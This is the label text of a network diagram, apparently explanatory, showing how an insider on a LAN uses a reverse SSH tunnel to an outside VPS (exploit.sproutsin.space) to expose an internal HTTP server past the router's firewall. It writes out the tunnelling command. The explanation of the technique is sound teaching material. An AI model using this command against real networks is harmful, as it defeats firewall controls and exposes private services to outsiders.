#A4#
#our Raspberry Pi
router
192.168.0.1#
##
##
##
##
##
##
#192.168.0.0/24#
#the
internet#
#good guy
internal HTTP server
192.168.0.44:8888#
#bad guy
SSH client
192.168.0.66#
#VPS with OVH
running SSH server
+
nginx reverse proxy
@
exploit.sproutsin.space#
#ssh -R 9999:192.168.0.44:8888 badguy@exploit.sproutsin.space#
#exposes the internal website
to the outside world by bypassing
the firewall#
#thrid party client#
#can access the internal website
via the bad guy's ssh tunnel
by connecting to
exploit.sproutsin.space#